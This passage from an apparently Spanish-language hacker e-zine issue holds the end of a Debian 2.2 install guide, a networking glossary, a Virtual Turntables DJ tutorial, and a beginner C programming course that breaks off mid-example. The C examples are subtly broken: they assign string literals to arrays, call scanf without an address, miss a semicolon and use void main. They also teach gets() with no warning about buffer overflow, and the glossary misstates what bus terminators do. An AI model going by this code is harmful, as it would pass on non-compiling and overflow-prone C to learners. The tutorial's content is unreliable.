4.1.20 Sopported Resolution
^^^^^^^^^^^^^^^^^^^^^^^^^^^
[*] 800x600
[*] 1024x768

4.1.21 Create a Configuration file:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
--------------------------------\
| /etc/X11/XF86Config |
--------------------------------/

4.2 Lynx Configuration:
^^^^^^^^^^^^^^^^^^^^^^^
What is Lynx's homepage?:
http://www.debian.org

4.3 Configuring GnuPlot:
^^^^^^^^^^^^^^^^^^^^^^^^
Do you want to install gnuplot SETUID root?
_yes_ _no_

Por posibles problemas de seguridad (xploits), en un sistema en red se debería
poner _no_. Si el PC es de casa, y no da servicios de Inet (telnet,etc), ponga
_yes_

4.4 el resto:Obvio qu no voi a poner todas las preguntas que hace cada paquete
que instalamos =P, pero leyendo con calma, las respuestas aparecen ante tus
ojos.

**NOTA11:Cuando se instale wvdial, pon que no se active, ya que asi podrás
trabajar con pppconfig y pon.

5 Despues de la instalación:

5.1 Actulizando el sistema:
^^^^^^^^^^^^^^^^^^^^^^^^^^^

5.1.1 dselect: Esta es una poderosa herramienta para las personas que quieran
^^^^^^^^^^^^^^ instalar nuevos paquetes, existen infinidad de manuales que
explican como ocuparla, pero basta con leer la propia ayuda que dselect te va
dando, para poder instalar algun paquete.

**NOTA12:Guia Rápida:
^^^^^^^^^^^^^^^^^^^^^
[S]elect, luego apretamos _barra_espaciadora_ _+_ agrega un paquete

Si tiene problemas de dependencias apretamos _espacio_ y seleccionamos con _+_
los paquetes dependientes _X_ con esta tecla salimos de la seccion [S]elect

[I]nstall Agrega los paquetes seleccionados
[C]onfig Configura posibles errores de dependencias
[E]xit

5.1.2 apt-get: poderosisima herramienta que nos permite instalar, remover,
"upgredear", configurar,( y más) paquetes.

**NOTA13: apt-Setup nos permite seleccionar de donde leerá los paquetes para
agregar un sitio http o ftp seguir las instrucciones.

Mirror de Debian en Chile:
http://debian.atmlab.utfsm.cl/debian

**NOTA14:apt-get install _nombre_del_paquete

5.2 Y Guin2??
^^^^^^^^^^^^^
Recuerda que ahora booteamos con LILO, entonces tenemos que decirle al LILO
donde esta guin2. Para esto hacemos lo suigiente:

1. Entramos al Sistema como root
polux:~# vi /etc/lilo.conf

y buscamos las siguientes líneas:

# other=/dev/hda4
# label=HURD
# restricted
# alias=3

y las dejamos así:

other=/dev/hda4
label=gui2 #o: wuinsuck, guinblow, fuck16, dos, caca, etc ;)

salvamos y salimos :x

polux:~# lilo
Added Linux *
Added guin2
polux:~#

6 Inet:
^^^^^^^
6.1 pppconfig: es una poderosa herramienta que nos permitirá conectarnos a Inet
^^^^^^^^^^^^^^ por ppp. Segir las instrucciones.

**NOTA15:En la seccion DNS, fijarse en elegir Static DNS!!

6.1 Conectandose: La herramienta básica para esto es pon.
^^^^^^^^^^^^^^^^^ pon _nombre_que_le_dimos_a_nuestro_proveedor_de_Inet (por
defecto provider) plog muestra como esta nuestra conección poff desconecta de
Inet

7 Otros: Aunque no son cosas específicas de Debian, nunca estan demas =P
^^^^^^^^

7.1 Configurar el teclado en español para el entorno gráfico:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
yo lo hago así:

polux:~# vi /etc/X11/XF86Config

y busco la siguiente línea:

XkbKeymap "xfree86(us)"

2 y la cambio por:

XkbKeymap "xfree86(es)"

7.2 Configurar el manejador Gráfico por defecto
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
th3nc0d3r@polux:~$echo "exec manejador_gráfico">~/.xinitrc
ej:

th3nc0d3r@polux:~$echo "exec blackbox">~/.xinitrc

8 Miscelania:
^^^^^^^^^^^^^
8.1 Autor: Este texto fue escrito por th3nc0d3r.
^^^^^^^^^^

Este texto fue escrito para ser publicado como articulo en la e-zine del grupo
Electron Security Team.

Cualquier error o Falla en el texto, por favor notificar a: th3nc0d3r@hotmail.com

Cualquier duda escribeme también.

8.2 Otros:
^^^^^^^^^^
Este texto fue escrito en vi:
/----------------------------\
| vi, para hombres de verdad |
\----------------------------/

8.3 Agradecimientos:
^^^^^^^^^^^^^^^^^^^^
- Gracias al EleKtr0 y a todo el grupo EST por permitirme escribir en su revista
- A mi "viejo", que siempre me apoyo con Linux ($$tiempo$$) y a los que me
mostraron "el camino de la verdad, el camino de Debian" ;)

Autor : th3nc0d3r
Titulo : Como Instalar Debian 2.2
Saludos : Linux-chile // irc.linux-chile.org
E-mail : th3nc0d3r@hotmail.com





,øñ°`´°ñø¸
-<[ 07 ]>-
`°ñø,¸,øñ°

Autor : EleKtr0
Titulo : "Electro-diccionario"
Entrega # : F, G, H, I, L, M, N, P, R, S, T, U, V, W, X
Contenido :

Fibra optica: Tecnologia que emplea pulsos de luz laser, enviadros a traves de
finisimas fibras de vidrio, para transportar datos a altas veslocidades

GroupWare: Software de Grupo, es el software que se usa de manera conjunta por
miembros de un grupo de trabajo

Home Run: Termino isado por profesionales o tecnicos del cableado de redes
para designar una configuracion de cableado

IBM: International Business Machines

IEEE: Instituto de Ingenieros Electricistas y Electronicos

Informacion: Datos que se han convertido a una forma con significado o sentido

Internacion Business Machines: Creadores del PC IBM y las actuales PC`s ISA
basadas en procesadores INTEL

ISO: Organisacion de Estandares Internacionales

LANtastic: Sistema operativo de red punto a punto de Artisoft

Lenguaje de Consulta Estructurado: SQL,es un lenguaje de organisacion de datos
utilizado como cliente o servidor para realizar peticiones a un servicio de
base de datos, actualmente es muy usado en paguinas basadas en PHP

Login: Palabra de entrada que un usuario proporciona para identificarse y
conectarse a un sistema

Macrocomputadora: (mainframe) Computadora central muy grande cuyo poder de
procesamiento y dispositivos perifericos utilizados por muchas personas
atraves de terminales no inteligentes o software de emulacion de terminal

Margarita: Cualquier topologia de red que conecte computadoras en cadena

Minicomputadora: La sucesora de la mainframe que ofrecia menos poder de
computacion por bastante menos dinero y requeria un control ambiental menos
rigido

NetBios: Es el prtocolo de comunicacion basico entre dos o mas equipos

NetWare: Linea de sistema operativo de red (NOS) de Novell

NFS: Sistema de archivos de red desarrollado por SUN para archivos compartidos
en una plataforma UNIX

Nodo: Simplemente otro nombre que se la da a una computadora o dispositivo
(sea una impresora o medem) que se encuentre conectado a una red

NOS: Sistema Operativo de RED

Protocolo: Seria de siglas y procedimientos que gobiernan el intercambio de
datos entre dos sistemasn

Puente: Dispositivo que conecta a dos redes que usen el mismo protocolo

Red de Area Local: Se conoce como LAN

Red de Punto a Punto: Sistema de red que consta de estaciones de trabajo que
son capaces de tanto servidores como cliente

Redirector: Componente de software de red que recibe peticiones de datos y
servicios por parte de un sistema operativo local y los envia al servidor de
la red

Repetidor: Dispositivo que conecta segmentos de red

Router: Dispositivos que conecta redes que utilizan protocolos distintos.
Puede usarse para separar trafico no deseado, para reducir trafico y/o
proporcionar seguridad contra usuarios no deseados :)

Shell: Interprete de datos de un sistema UNIX

SNA: Arquitectura de sistema de red

Terminadores: Dispositivos que se usan en los extremos finales de un segmento
de bus lineal para "rebotar" o reflejar la señal y evitar fallas de segmento

Token: Mensaje especial que indica que el poseedor tiene derecho a enviar
mensajes en un sistema de red

Topologia: La disposicion fisica en la que esta configurada una red

Unidad Logica: Indicador que señala un lugar de una unidad fisica ejemplo c:\

VINES: Sistema Operativo de Red de Banyan

WAN: Red de Area Amplia

Worm: jeje Melissa, I LOVE YOU les suena esos nombres?

XNS: Sistema de red XEROX


Autor : EleKtr0
Titulo : "Electro-diccionario"
Entrega # : F, G, H, I, L, M, N, P, R, S, T, U, V, W, X
E-Mail : EleKtr0@usa.net





,øñ°`´°ñø¸
-<[ 08 ]>-
`°ñø,¸,øñ°

Autor : bAnkZide
Titulo : A fondo con Virtual Turntables 1.80.04
E-mail : bAnkZide@usa.net
Contenido :

Hola de nuevo, aki escribire algo ke no se a tratado mucho en la escena under
nacional, y ke algunos pensaran ke no tiene mucho ke ver pero, para los ke
siempre han kerido mezclar musica o jugar con ella,o aprender un poco de DJing
pero no saben como empezar,aki les va este articulo. Primero ke todo no tienen
ke comprar nada,ya ke no trabajaremos con tornamesas ni sintetizadores fisicos
sino con un software ke simula a un Mixer ke le llegan dos o mas canales
distintos. Ya explicaremos, ke es un mixer y todo eso, y los canales.

Primero ke todo, tienen ke conseguir este soft, ke solo esta disponible para
Windows.

Hay muchos mas programas como este,pero les digo ke este es uno de los mejores
y mas sencillo de ocupar, aparte es uno de los pioneros, en este tipo de
software. Lo pueden bajar desde www.carrotinnovations.com.

Una vez instalado, entraran a la configuracion del sonido, ahi seleccionen lo
ke mas les acomode. Recomiendo, tener dos tarjetas de sonido. Una para tirar
el sonido hacia los parlantes, y la otra para los audifonos. Pero,para ke eso,
se preguntaran... bueno es ke cuando uno esta poniendo musica, tiene ke buscar
un buen punto de entrada en la cancion ke viene, y eso lo tiene ke hacer en
los audifonos, pare ke el solo lo escuche. Eso se llama "Monitoreo". Pero no
hay problema si tienes solo una tarjeta de sonido, ya ke este programa trate
unos "Cue Points", ke ya los explikaremos mas adelante.

Abremos el programa y abrimos dos "devices", estas son dos archivos de audio,
puden ser mp3 o wav cada uno en un canal. Generalmente kedarian en el canal 0
y 1. Elige dos canciones. Veras ke ahora se abrieron dos ventanas mas, ke
representan un canal kada una. Puedes abrir mas devices, todas las ke kieras
pero recomiendo, para empezar solo con dos canales. Ahora vamos a explicar por
partes el VTT-MainMixerBoard, ke kosas trae, y para ke sirve.


El Main Mixer Board

Bueno el MMB es lo controla los volumenes de cada canal, cual va a sonar a los
parlantes, ke kanal se va a monitoreo, etc. Es mezclador, en el fondo. Si ven,
hay tres barras de volumenes, y una cuarta, el Master ke es volumen de todo,
incluyendo los canales. Estas tres barras, ke por le momento nosotros estamos
ocupando dos, por ke solo tenemos abierto dos canales, son los volumenes
individuales de cada canal. Si te fijas, arriba tambien puedes selecionar ke
kanal asignar a cada barra. Recomiendo dejarlos como estan, 0 y 1
respectivamente. Ahora, si vemos, al lado derecho tenemos una paleta
"Headphones", donde muestran los canales ke tenemos abiertos, o el numero de
"devices". Aki, es donde elegimos ke kanal se va a a monitoreo, o sea a los
audifonos, para dejar la cancion o canal en un buen punto de entrada o calzar
el tiempo con la ke esta sonando, el otro canal. Es cosa de seleccionar el
canal y este lo tira hacia audifonos.

Ahora solo nos keda explicar en el MMB el Cross Fader. Alomejor ya lo haz
escuchado antes, ya ke este es una de las claves en el mixing. Si ves a cada
extremo de esta barra horizontal puedes elegir ke kanal representar. Solo
puedes 2 canales simultaneamente. Si te fijas, el Cross fader lo puedes mover
con el mouse, pero yo recomiendo usar el teclado. Las posiciones van desde el
1 hasta el 0, pero no estoy hablando del los numeros del Numpad. Es bueno ke
ya hayas empezado a jugar con el cross fader. Ahora explicare las posiciones.
Teniendo el cross fader al centro y los dos canales sonando,te daras cuenta ke
los canales suenan en un 100%. Esta posicion representa a los numeros 5 y 6.
Pero, por ejemplo si presionas el numero 4, el canal ke esta representado a la
izkierda seguira en un 100%, pero el otro bajara en un 25%, y si presionas
el 3, este seguira bajando y kedaria en un 50%.Con el 2 en un 75% y finalmente
con el numero 1 no se escuchara, o sea 0%. Lo mismo pasaria para el otro lado
con los numeros 7, 8, 9 y 0. Mas adelante explicaremos tecnicas con el cross
fader.

Ventana "Device" o Canal

Si tienes dos canciones, tendras dos de esta abiertas, ke son exactamente
iguales. Vamos a explicarles todo lo ke se pude hacer aki. Lo primero ke vemos
es un paleta llamada "Status",donde podemos ver dos cosas el Time y BPM (Beats
Per Minute). En el time no hay mucho ke explicar, ya ke komo ven es el tiempo
de la cancion ke lleva, pero es muy importante, ya veran por ke. Lo ke si es
importante y ke hay ke explicarlo con profundidad es los BPM. Cada cancion
tiene un BPM, ke es como un tempo, por decirlo de otras formas. Y se puede
calcular. Cuando uno mixea y pasa de una cancion a otra no puede pasar de un
BPM muy alto a uno muy bajo o vice versa, por ke sonaria mal. Por ejemplo, la
cancion de Eminem, The Real Slim Shady tiene BPM 105. Ese es su tiempo. Ahora
para saber como calcular BPM, y ke el VTT los guarde para uso posterior pon
play en alguna cancion en cualkier canal y apreta en el boton BPM. Antes de
enredarte con lo ke sale elige ke cancion vas a calcular los BPM en la paleta
"Match to", la de la derecha. Obviamente elige la cancion ke dejaste sonando.
Despues anda a la paleta "Current" y apreta en el boton "Calc BPM". Se te
habra abierto otra ventana llamada "BPM Counter". Ahi empieza a apretar
barra-espacio siguiendo el ritmo de la cancion, con lo ke veras ke el numero
ira cambiando, pero fluctuara entre algun numero significativo.
Casi siempre los BPM son cerrados, por ejemplo, 96, 138. Te habras dado cuenta
ke aki te dan dos decimales
pero si ves ke la cosa mientras apretas barra-espacio fluctua entre, po ej.
100.80 y 101.14, el BPM de esa cancion sera 101. Puede ser tambien, aunke no
es muy comun, ke salgan BPMs como 135.5, o sea medio entero. Si despues de un
rato obtuviste el BPM, dejas de apretar barra-espacio y listo. Si no kedaste
conforme puedes apretar Reset,y empezar de nuevo. Apretas "OK" y volveras a la
pantalla anterior, ke despues explicaremos para ke sirven esas otras cosas, y
apretas denuevo "Ok". Listo, ahora como veras,en la paleta "Status" muestra el
BPM ke calculaste.

Siguiendo con el tema, hay un Boton "Info" donde puedes guardar datos de la
cancion, como por ejemplo, guardar ken en el tiempo 2:34:01 empieza justo ese
coro bueno de la cancion o weas asi. Se usa mas para guardar info de los "Cue
Points"
.

Ahora vamos a la paleta pitch. Antes de leer esto recomiendo ke ya hayan
experimentado con esta barra y ke se den cuenta lo ke pasa, cuando la mueven.
Bueno, como se habran dado cuenta,esta sube o baja la velocidad de la cancion.
Fijate si tienes una cancion con BPM 120, y bajas el pitch, podras dejarla en
118 o lo ke tu kieras, con decimales y todo. Los botones de Pitch (Increase y
Decrease), son para subir el tiempo y bajarlo, pero de una manera mas
suave, por le ke se habran dado cuenta ke kada vez ke lo aprietas, el BPM
aumenta o disminuye en 4 unidades decimales pero eso es configurable, es cosa
ke vayan al menu 'Settings -> Device settings... y a la paleta "Pitch". Por
ultimo, el boton "Bend" sirve para mantener la posicion en la barra Pitch, y
esta moverla y hacer efectos, pero cuando se deje de mover, volvera a la
posicion en la cual se apreto "Bend", ke no necesariamente tiene ke ser en BPM
0%.

La paleta "Playback Position", no hay mucho ke explicar, pero si es importante
cuando entremos a explicar los "Cue Points". Lo ke esta relacionada con esta
barra son los botones "Nudge", ke por defecto aumentan o disminuyen 4
centesimas. Estos botones tambien puden ser pulsados mientras la cancion esta
sonando, ya ke emulan a las tornamesas cuando, se trata de calzar los tiempos
a mano.

Kedan dos botones mas, ke son el "Eject" ke trae ese icono, ke supongo ke ya
saben pa ke es,y el "EQ" (Equalizer).Este es el equalizador individual de cada
canal. Hay modalidad 3 canales y 10 canales. Va por frecuencias en Khz, de
acuerdo a cuantos decibeles, si mas o menos, por el rango de frecuencias. En
la modalidad 10 canales, las frecuencias se hacen mas especificas.

Lo ultimo ke nos keda en la ventana de las device, son la serie de botones de
numeros. Estos,son para guardar un punto especifico, en un tiempo. Por ejemplo,
si yo kiero saltarme el primer minuto de una cancion,y empezar a tocarla justo
en el tiempo 1:23:69, lo ke hago es ir a ese tiempo, apretar pausa. Ahi
kedaremos y despues elegimos ke numero vamos a ocupar, el 1,entonces apretamos
Control+1 (El 1 del Numpad, los otros numeros son para el cross fader) o sino
Control+el numero ke presionemos con el Cursor del mouse. Ahora mientras se
escucha la cancion y kieres ir a esa
posicion,simplemente apretas el numero. Es bueno darse tiempo para elegir bien
el punto ke vas a grabar, para ke kede perfecto. Cada cancion guarda en un
archivo de extension .vtc, sus cue points y sus bpms como tambien la info si
es ke haya sido ingresado y sus volumenes, pero eso lo maneja el propio VTT.
Estos VTCs estan en una carpeta del mismo nombre. Es bueno respaldarlos,para
no perder lo ke hayas grabado si es ke reintalas VTT o lo borras.

Explicando el Menu

Hay muchas cosas del menu ke ya explicamos, mas ke todo muestran las
abreviaciones con el teclado de ocuparlo, pero hay cosas importantes, ke me
faltan explicar. Bajo la opcion "Device", esta la opcion Enable DSP Effects,
para activar estos efectos. Hay muchos estilos de DSP, uno ke ponen eco,
efectos roboticos. Se puden bajar de la red, en www.winamp.com hay muchos. Uno
bueno es el AudioStocker, por ke deja a todos los voloumenes de las cancione
siguales. Si te das cuenta los mp3 tienen volumenes diferentes por ke fueron
encodeados diferentes, y por otras razones,asi ke para ke no haya mucho cambio
y problemnas con el sonido es bueno activarlo. En DSP Plugins, bajo "Device",
se lodean y se pueden configurar.

Al lado de Device esta la opcion Sound FX, donde puedes poner efectos cortos.
VTT trae 3 WAVs, dos tipos de scratch y un efecto weno pa mixear. Ahi se
asigna ke tecla,para activarlos mientras mixeas. Recominedo las teclas Insert,
Re Pag y Av Pag.

Por ultimo, bajo "Settings", encontramos, Skins, ke es pa cambierle el dise~o,
al VTT. En Device Settings, es configurable todo los explicado anterior, en
tiempo de response, etc. Y abajo bueno, config del cross fader y del sonido.


Tips de Mixeo y efectos

Ya ke vimos todas las partes del programa mas importantes y ke nos interesan a
nosotros y de paso aprender algunos terminos,ya ke esto es iwal en las DENONs,
en tornamesas y todas esas weas, vamos a empezar, como primera leccion, dejar
dos canciones sonando a un mismo tiempo, osea tienen ke tener un mismo BPM.
Para eso ocupamos el Pitcher, para dejar los BPMs iguales.
Para hacer esto mas facil, abramos una misma cancion 2 veces, y asi no tenemos
ke kontar los BPMs, ya ke nos aseguramos ke cuando la calzemos, obviamente
tiene el mismo "Tempo". Haz andar una cancion, por ejemplo, en el canal 0 y
tira el cross fader a la izkierda, si es ke este por defecto el canal 0 lo
dejaste a la izkierda de este mismo. La cosa es encontrar un punto, en la
cancion en ke justo vaya a sonar el beat, o tambor principal. Cuando contabas
los BPMs,uno se guia por estos mismos, por eso ayudate con Pausa y con un poco
de Nudge. Guarda la posicion en un Cue Point. El canal 0 esta sonando como lo
dejamos. Tenemos el cross fader en numero "1", ahora, pongamosle play al canal
1 justo cuando venga el beat en la ke esta sonando en el canal cero. El canal
uno lo tenemos justo en el punto en ke sonara el beat, entonces en el canal 1
le ponemos play justo y... deberia sonarte bien. Si te suena muy mal es ke lo
calzaste mal. Te deberian sonar los dos beat al mismo tiempo. Recuerda haber
tirade el cross fader suavemnete hacia el centro. Recomiendo para hacer esto
una cancion tekno-dance de entre 131-140 BPM, por ke es mas facil, y tienen un
BPM 100 % parejo.

Esto es pura practica, dificil ke te haya salido a la primera, por eso
repitelo hasta ke ya vayas hagarando el ritmo.
Ahora hagamoslo lo mismo, pero con dos canciones diferentes y con distintos
BPMs. Primeo lo ke hay ke aser es calzar los BPMs. Lo puedes hacer a mano
ocupando el pitch, o hacerlo mas facil, apretando en el boton BPM,del canal ke
kieras cambiarle el BPM. Despues selecionar los canales bajo la paleta "Match
to"
y apretar el boton del mismo nombre. Automaticamente el canal ke elegiste
movera el pitch hasta calzar BPM con el otro canal ke elegiste de la lista.

Otra tecnica para pasar de una cancion otra, mas sencilla es ocupando el cross
fader, pero con el teclado, en completa degradacion. Pero, ke antes de mover
este, haber puesto play, en un punto interesante, en la cancion ke viene. Otro
efecto interesante es el llamado "Cutting off the motor" o algo asi, ke simula
como si hubieramos apagado una tornamesa. Simplemente hay ke apretar la tecla
"Fin" o "End" de tu teclado. Para hacer lo inverso esta la tecla "Inicio".

Mas interesante seria ke te bajaras algunos Sound FXs, el VTT mismo trae uno,
se llama effect0.wav. Otro interesante mix ke sale en la tips del mismo VTT,es
ke agarres una cancion de 70 bpm por ejemplo algo asi como de Celine Dion,algo
lento y lo calse con una cancion rapida,onda tekno de 140. Como 70 es la mitad
de 140, no habria problema de BPMs, por lo ke kedaria un remix de una cancion
lenta en un bailable. A mi personalmente esto me ha funcionado, y keda
realmente bien, si se eligen los temas apropiados.

Por ultimo, traten de no pitchear mas de un 5% y siempre de pitchear pa arriba,
nunca pa bajo. Espero ke les haya gustado este articulo, ke hayan aprendido
mucho, y ke practiken harto. Les recomiendo ke visiten el Message Board de
www.carrotinnovations.com donde encontrar mucha informacion y tips por parte
de los usuarios. Tambien visiten www.mixology.co.uk donde encontraran una
extensa lista de BPMs y muchas otras cosas utiles.

Cualkier duda, critica o consulta a bAnkZide@usa.net


Autor : bAnkZide
Titulo : A fondo con Virtual Turntables 1.80.04
E-mail : bAnkZide@usa.net





,øñ°`´°ñø¸
-<[ 09 ]>-
`°ñø,¸,øñ°

Autor : z0rbas
Titulo : Curso de Programacion en C, Reforzamiento
Entrega : II
E-mail : z0rbas@usa.net
Contenido :

Indice
======

-ESTRUCTURAS CONDICIONALES
-INTERACCION CON EL USUARIO
-FUNCIONES
-FUNCIONES CON PARAMETROS
-ARRAYS
-PUNTEROS
-ESTRUCTURAS
-FICHEROS
-STRINGS

-ALGUNOS EJEMPLOS


ESTRUCTURAS CONDICIONALES
Las estructuras condicionales son parecidas a las de control de flujo, la
diferencia es que estas no se repiten un numero de veces , see ejecutan una vez.

IF...ELSE
sintaxis:
if(condicion propuesta)
{
(instrucciones)
}
else
{
(instrucciones que se ejecutan si no se cumple)
}

else se puede omitir, se pueden poner bucles y mas if dentro de uno, y asi
mezclar.

Ejemplo:
int x;
x=1;
if(x==1)
{
printf(" x es uno \n");
}
else
{
printf(" x no es uno \n");
}
la instruccion if es muy util para la programacion como iras viendo a medida
que crees tus propios programas.


SWITCH
Esta es una estructura condicional muy util, pero mas especifica.
sintaxis:
switch(variable)
{
case valor1:(instrucciones)
break;
case valor2:(instrucciones)
break;
case valor3:(instrucciones)
break;
default:(instrucciones)
}
Lo que esta instruccion hace es ejecutar la parte de instrucciones que
corresponda al valor de la variables, la final(default) no es obligatoria,y lo
que hace es ejecuarse en caso de que el valor de la variable no coincida con
ninguna.

Ejemplo:
char x;
x='a';
switch(x)
{
case 'b':break;
case 'a': printf(" opcion a \n");
break;
default:
}

Con eso ya puedes controlar los distintos rumbos que puede llevar tus programas.


INTERACCION CON EL USUARIO

Esta parte es importante en la programacion, porque no nos sirve mucho un
prorama que siempre haga lo mismo. Veamos las funciones basicas nada mas:

getch() devuelve una tecla presionada.
ej: x = getch();
gets(cadena) lee una cadena de caracteres del teclado.
scanf(variables) para lees con la sintaxis de printf.


FUNCIONES

Esto es una parte muy importante en la programacion,por ejemplo C no tiene una
instruccion que imprima caracteres en la pantalla, imaginate si cada vez que
quizieras imprimir algo, tuvieras que escribir todo el codigo de la funcion
printf(); para imprimir un mensaje, los programas serian kilometricos,para eso
las funciones nos hacen ahorrar tiempo creando una parte del programa que
simplemente se llama, con un ejemplo te quedara mas claro.
----------------------------------------------------------
#include<stdio.h>

void funcion()
{
printf("Hola\n");
}

void main()
{
funcion();
funcion();
}
-----------------------------------------------------------

ves la gracia es simplemente escribir asi una funcion, y despoues solo la
llamas como se muestra ahi.Ahora la gracia es usar funciones que pasen valores
entre si.

FUNCIONES CON ARGUMENTOS

Estas son iguales que las anteriores, pero se pasan valores.Tambien dificil de
explicar, pero veras que con un ejemplo se aclara.

int sumar(int a, int b)
{
int c;
c=a+b;
return c
}

En este ejemplo aparecieron muchas cosas nuevas,una es int antes de la funcion,
esto quiere decir que la funcion devuelve un dato de tipo int, por ejemplo yo
podria asignar una variable en el programa asi:

c=sumar(3,5);
o
c=sumar(variable1,variable2);

y esto me retona el valor, con return [valor o variable]
y los parametros ya te abras dado cuenta cuales son, fijate que tambien se
declara el tipo de variable que es el parametro.


ARRAYS

Los arrays son conjuntos o matrices, un string es un array de chars o sea u
conjuntode chars.

como se declaran: char esteesarray[largo];
y se accede a cada dato asi: esteesarray[numero del dato];
los arrays son muy utiles, especialmente para los strings. Veamos un ejemplo:

char cadena[30];
gets(cadena);
printf(" %s\n",cadena);

este pedazo de codigo lee una cadena del teclado y la imprime, la cadena es un
array, tambien puedes crear arrays de int y cosas asi eso lo dejo a tu
imaginacion, cualquier duda me escribes.

Los arrays tambien pueden tener mas de una dimension, pero no varia mucho el
uso, por ejemplo de dos dimensiones

char dos[3][4];
ahi tengo 12 chars!!!!


PUNTEROS

Esto es algo ya mas avanzado quiza, pero no por eso no hay que aprenderlo, por
el contrario es muy importante y los usaremmos mucho en nuestra labor como
hacker, porque son muy flexibles y poderosos como veras a continuacion.

Cada variable tiene una direccion en la memoria como se vio en el principio,
los punteros lo que hacen es apuntar a estas direcciones, lo que en verdad se
almacena en la direccion fisica del puntero es la direccion a la variable que
apunta. Veamos el ejemplo mas claro que existe para esto:

(los punteros se declaran. tipo de variable a la q apuntan * nombre)
para entender los & y *, vuelve a los operadores y pegale suna releida.
---------------------------------------------------------------
#include<stdio.h>

void main()
{
int variable;
int * puntero;
variable = 5;
puntero = &variable;
printf("puntero %d\n",puntero);
printf("direccion variable %d\n",&variable);
printf("valor a lo apuntado por puntero %d\n",*puntero);
printf("valor variable %d\n",variable);
}

Con eso ya quedo mas o menos clara la idea de un puntero, ahora es importante
tambien saber que los punteros se pueden modificar, haciendolos mas grandes o
pequeños, para que apunte una casilla mas abajo o mas arriba.

ESTRUCTURAS 

Las estructuras son conjuntos de variables agrupadas, por ejjemplo si tu
quisieras crear un software de control de stock para una empresa (como me
pidieron a mi), no te conviene hacer un array de strings para los nombres,otro
de int para los presios y todo eso, lo mejor seria crear una estructura que
contenga todo eso. Una estructura se crea de la siguiente manera:

struct{
int uno;
int dos;
int tres;
char cuatro;
}estructura;

para acceder a cada una de estas variables, se hace asi:

estructura.uno
estructura.dos
estructura.tres
estructura.cuatro

Esto nos sirve para estructuras definidas, donde serviria una por elemento, por
ejemplo para una biblioteca uno por libro, en este caso eso si es mas facil
definir un tipo tu mismo que sea una estructura, eso lo harias asi:

typedef struct{
char nombre[20];
int codigo;
int precio;
}libro_e;

definiendo esto en el cuerpo del programa y luego en main() definirias esto:

libro_e libros[30];

para acceder a cada uno de las vaiables y distintos libros harias esto:

libro[n].nombre[c]

pensando que c y n son variables numericas.


FICHEROS

Los ficheros son muy importantes para por ejemplo guardar datos, en el caso del
ejemplo anterior el programa de control de stock, no servia si solo ingresabas
los datos y al correrlo de nuevo estaba de nuevo en 0,la gracia es que mantenga
los valores, y para eso usaremos los fichero, obviamente tambien para editar,
crear utilidades y con fines de otro tipo.

Un fichero se declara de la siguiente manera (para usarlos d ebes incluir la
libreria stdio.h en C estandar):

FILE * archivo;

con esto creaste un puntero a la estructura llamada FILE, definida en la
libreria stdio.h. ahora esto es solo un puntero,para abrir ahora el fichero se
usa la funcion fopen(), y se utiliza de la siguiente forma:

archivo = fopen(nombrefichero, modo);

nombrefichero representa el PATH y el nombre de archivo del archivo que
queremos cerrar, y modo representa el modo en el que lo queremos abrir, las
cuales pueden ser:

r Lectura(error si el fichero no existe)
w Escritura(si el fichero existe, borra su contenido)
a Añadir al final del archivo(lo crea si no existe)
r+ Lectura y escritura(error si el fichero no existe)
w+ Lectura y escritura(borra su contenido)
a+ Lectura y añadir(lo crea si no existe)
b Indica que el fichero es de tipo binario

Las opciones w y w+ crean el fichero en caso de que no exista.

ahora las funciones mas imprtantes para el uso de ficheros:

fread(dato,tamaño dato,size_t numdato,FILE *fp);
en este caso dato es la variable donde vas a meter lo que leas, tamaño dato es
el largo de la variable(lo mas facil es poner sizeof(variable), size_T numdato
representa el numero de veces que se debe reperi la lectura, por lo general 1,
y el ultimo es nuestro puntero a FILE, o sea nuestro fichero.

fwrite()
usa el mismo formato de fread, pero para escribir.

Y para terminar, cierras el fichero con
fclose(FILE *archivo);
en nuestro ejemplo de FILE * archivo definido anteriormente, seria:
fclose(archivo);

Con eso ya deberias escribir fichero, por lo menos lo basico, en todo caso si
hasta ahora has tenido algun problema,no te preocupes, porque al final de este
tutorial se incluyen las direcciones para bajar los compiladores y algunos
ejemplos desde el principio para que te quede todo claro.


STRINGS

Los strings son conjuntos o arrays de char, por ejemplo
char string[21];
esto seria un string de 20 caracteres, porque se cuenta uno menos. Ya que el
ultimo se le asigna '\0' que representa el fin de la cadena. La verdad es que
los arrays ya los vimos, pero este capitulo es para ver las funciones mas
utiles de strings( string.h ).

Las funciones que yo mas uso(personalmente) son tres:

1.- strcpy()
Esta funcion es para copiar cadenas.
Ejemplos
char caduno[30];
char caddos[30];
caduno="Hola\0";
strcpy(caddos,caduno);

2.- strcmp()
Esta funcion compara strings.
Ejemplo
int comparacion;
char caduno[30];
char caddos[30];
caduno="Hola\0";
caddos="Hola\0";
comparacion=strcmp(caddos,caduno);

si son iguales devuelve 0, si una es mayor o menor varia en 1 o -1.

3.- strcat()
Esta funcion concatena dos cadenas
Ejempo
char caduno[30];
char caddos[30];
caduno="Hola \0";
caddos="z0rbas\0";
strcat(caduno,caddos);

Despues de esto caduno quedaria asi:
"Hola z0rbas\0"

OjO: el \0 no es necesario por lo general,la mayoria de las funciones lo ponen
por si solas!!


ALGUNOS EJEMPLOS

Aqui pondremos algunos ejemplos muy basicos, pero suficientes para que tu ya
puedas empezar a crear tus propios programas. No haremos ejemplos de ficheros
y eso por razones de tiempo, pero si tienes algun problema, escribenos y
responderemos tus preguntas, no te preocupes. Estos ejemplos son solo para los
que recien se inician en la programacion, para que se hagan una idea basica de
como funciona. Y entiendan bien los bucles.

Antes de empezar un detalle importante, en tus programas puedes insertar
comentarios asi:

/* aqui todo
lo que quieras
*/


Esto no afecta al tamaño del programa, sirve solamente para dejar mas claro el
codigo.

Ejemplo 1:
/* Programa que juega a que tu adivines un numero que el piensa.
Escrito por z0rbas para el tutorial de C del EST , cualquier
duda, dudo que las haya, escribe a z0rbas@usa.net */


void main()
{
int numero_pensado; /* este es el numero del computador */
int numero_tuyo; /* este va a ser el dato que te va a preguntar*/
numero_pensado= 5; /* este es el numero correcto */
do{
printf("Elige un numero entre el 1 y el 10: "); /* imprime mensaje */
scanf("%d",numero_tuyo); /* lee el numero */
if(numero_tuyo<numero_pensado) printf("Mas alto!!\n");
/* si el numero es menor que el correcto, entonces tienes que probar un numeroa mas alto */
